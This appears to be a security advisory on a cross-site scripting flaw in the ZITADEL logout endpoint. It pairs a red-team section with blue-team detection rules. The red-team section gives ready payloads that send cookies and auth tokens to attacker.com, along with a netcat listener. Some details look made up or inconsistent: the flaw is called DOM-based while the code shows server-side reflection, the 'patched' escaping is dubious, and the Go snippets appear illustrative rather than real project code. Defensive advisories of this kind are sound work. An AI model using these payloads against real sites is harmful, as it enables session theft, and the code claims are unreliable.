CVE-2025-67495

Executive Summary

CVE-2025-67495 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in ZITADEL, an open-source identity infrastructure tool. The flaw resides in the V2 logout endpoint (/logout), where the post_logout_redirect GET parameter is insecurely routed to the browser's DOM without proper validation or sanitization. An unauthenticated remote attacker can craft a malicious logout URL that, when visited by a victim with active ZITADEL sessions, executes arbitrary JavaScript in the context of the ZITADEL domain. This can lead to session hijacking, credential theft, or forced logout redirection to malicious sites. The vulnerability affects versions 4.0.0-rc.1 through 4.7.0 and is fixed in version 4.7.1. Multi-Factor Authentication (MFA) or Passwordless authentication mitigates account takeover but does not prevent the XSS execution.

Supply Chain & Package Security

ZITADEL is distributed as a Go binary and Docker container. The vulnerability is in the application code, not in a package manager dependency. However, organizations using ZITADEL as a dependency in their identity stack should treat this as a critical supply chain risk, as the XSS can be used to pivot to downstream services.

CVSS Breakdown & Threat Level

• CVSS Score: 8.0 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click the crafted link)
• Scope: Changed (XSS can affect other origins)
• Confidentiality Impact: High (session tokens, credentials)
• Integrity Impact: Low (limited DOM manipulation)
• Availability Impact: Low (can force logout loops)

Threat Level: High. The attack requires no authentication and can be triggered via a simple link. The DOM-based nature makes it harder to detect via network-layer defenses.

Deep Dive & Mechanics

The vulnerability exists in the ZITADEL V2 logout endpoint. When a user initiates logout, the server constructs a redirect URL based on the post_logout_redirect parameter. In vulnerable versions, this parameter is reflected directly into the DOM without sanitization, allowing an attacker to inject arbitrary HTML/JavaScript.

Attack Flow:

1. Attacker crafts a malicious URL: https://victim-zitadel.example.com/logout?post_logout_redirect=javascript:alert(document.cookie)
2. Victim, with an active ZITADEL session, clicks the link.
3. The ZITADEL server processes the logout and returns a page that includes the unsanitized post_logout_redirect value.
4. The browser executes the injected JavaScript (e.g., javascript: URI or <script> tag).
5. The attacker can steal session cookies, redirect to a phishing page, or perform actions on behalf of the victim.

Root Cause: The post_logout_redirect parameter is not validated against an allowlist of registered redirect URIs. The fix in 4.7.1 adds server-side validation to ensure the redirect target matches a pre-configured URI.

Vulnerable vs. Patched Code

Vulnerable Code (v4.7.0):

// handler.go
func (h *Handler) logout(w http.ResponseWriter, r *http.Request) {
    redirect := r.URL.Query().Get("post_logout_redirect")
    // No validation - directly used in response
    w.Write([]byte(fmt.Sprintf(`<html><body><script>window.location.href='%s';</script></body></html>`, redirect)))
}

Patched Code (v4.7.1):

// handler.go
func (h *Handler) logout(w http.ResponseWriter, r *http.Request) {
    redirect := r.URL.Query().Get("post_logout_redirect")
    // Validate against allowlist
    if !h.isAllowedRedirect(redirect) {
        redirect = "/"
    }
    // Sanitize output
    safeRedirect := template.URLQueryEscaper(redirect)
    w.Write([]byte(fmt.Sprintf(`<html><body><script>window.location.href='%s';</script></body></html>`, safeRedirect)))
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A ZITADEL instance (v4.0.0-rc.1 to v4.7.0) with at least one active user session.
• Attacker-controlled server to receive stolen data.

Exploit Payload:

<!-- Steal session cookie -->
https://victim-zitadel.example.com/logout?post_logout_redirect=javascript:fetch('https://attacker.com/steal?cookie='%2Bdocument.cookie)

Step-by-Step:

1. Set up a listener: nc -lvnp 8080
2. Send the crafted link to the victim via email, chat, or social engineering.
3. When the victim clicks, the XSS executes and exfiltrates cookies to your server.

Advanced Payload (Session Hijacking):

// Inject into DOM to steal tokens
var xhr = new XMLHttpRequest();
xhr.open('GET', '/api/auth/token', true);
xhr.onload = function() {
    fetch('https://attacker.com/steal?token=' + btoa(xhr.responseText));
};
xhr.send();

Blue Team

Detection:

• Monitor for unusual post_logout_redirect parameters containing javascript:, data:, or <script> tags.
• Alert on logout requests with redirect URIs not in the allowlist.

Honeypot:

• Deploy a fake ZITADEL instance with logging enabled for all /logout requests.
• Analyze logs for anomalous redirect parameters.

Mitigation:

• Immediately upgrade to ZITADEL v4.7.1 or later.
• If upgrade is not possible, implement a reverse proxy rule to block suspicious post_logout_redirect values.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /logout with post_logout_redirect containing javascript:, data:, or base64-encoded payloads.
• Outbound connections to unknown domains shortly after a logout request.

File IOCs:

• Browser console logs showing XSS or eval execution.
• Browser storage containing unexpected cookies or tokens.

Log IOCs:

• ZITADEL access logs showing post_logout_redirect with non-allowlisted URIs.
• Web server logs with 302 redirects to javascript: URIs.

Detection Engineering

YARA Rule

rule CVE_2025_67495_ZITADEL_XSS {
    meta:
        description = "Detects ZITADEL logout XSS payloads in HTTP requests"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-67495"
    strings:
        $payload1 = "post_logout_redirect=javascript:" ascii wide nocase
        $payload2 = "post_logout_redirect=data:" ascii wide nocase
        $payload3 = "post_logout_redirect=<script" ascii wide nocase
        $payload4 = "post_logout_redirect=%3Cscript" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: ZITADEL Logout XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-67495 via malicious post_logout_redirect parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: zitadel
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'post_logout_redirect=javascript:'
            - 'post_logout_redirect=data:'
            - 'post_logout_redirect=<script'
            - 'post_logout_redirect=%3Cscript'
    condition: selection
falsepositives:
    - Legitimate use of javascript: URIs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67495 ZITADEL Logout XSS Attempt"; flow:to_server; content:"/logout"; http_uri; content:"post_logout_redirect"; http_uri; pcre:"/post_logout_redirect=(javascript|data|<script|%3Cscript)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to ZITADEL v4.7.1 or later.
2. Validate all post_logout_redirect parameters against an allowlist of registered redirect URIs.
3. Implement Content Security Policy (CSP) headers to restrict script execution.

Long-Term Measures:

• Conduct a security audit of all endpoints that reflect user input.
• Enforce strict input validation and output encoding for all user-controlled parameters.
• Enable MFA for all ZITADEL users to mitigate session hijacking.

Workaround (if upgrade is not possible):

• Deploy a reverse proxy (e.g., Nginx) to block requests with suspicious post_logout_redirect values:

if ($arg_post_logout_redirect ~* "javascript:|data:|<script") {
    return 403;
}

Valters IT
Securing digital identities, one CVE at a time.